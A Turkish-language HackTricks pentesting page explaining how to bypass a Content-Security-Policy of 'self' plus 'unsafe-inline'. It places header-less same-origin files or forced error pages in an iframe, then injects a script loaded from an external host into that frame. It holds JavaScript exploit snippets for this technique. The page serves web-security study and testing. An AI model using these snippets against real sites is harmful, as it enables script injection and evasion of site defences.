hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

57 lines
2.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

Aşağıdaki gibi bir yapılandırma:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Herhangi bir kodu string olarak ileten fonksiyonların kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir.
Ayrıca, dış kaynaklardan gelen herhangi bir içerik de engellenir; bu, resimler, CSS, WebSockets ve özellikle JS'yi içerir.
### Metin ve Resimler Üzerinden
Modern tarayıcıların, görüntüleri ve metinleri HTML'ye dönüştürdüğü gözlemlenmiştir; bu, görüntülerin daha iyi görüntülenmesini sağlamak içindir (örneğin, arka plan ayarları, ortalama vb.). Sonuç olarak, `favicon.ico` veya `robots.txt` gibi bir resim veya metin dosyası bir `iframe` aracılığıyla açıldığında, HTML olarak işlenir. Özellikle, bu sayfaların genellikle CSP başlıkları yoktur ve X-Frame-Options içermeyebilir, bu da onlardan rastgele JavaScript'in çalıştırılmasına olanak tanır:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### Hatalar Üzerinden
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'ı atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanabilir, bu da aşağıdaki eylemlere olanak tanır:
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)
// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmek aşağıdaki gibi mümkündür:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## Referanslar
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}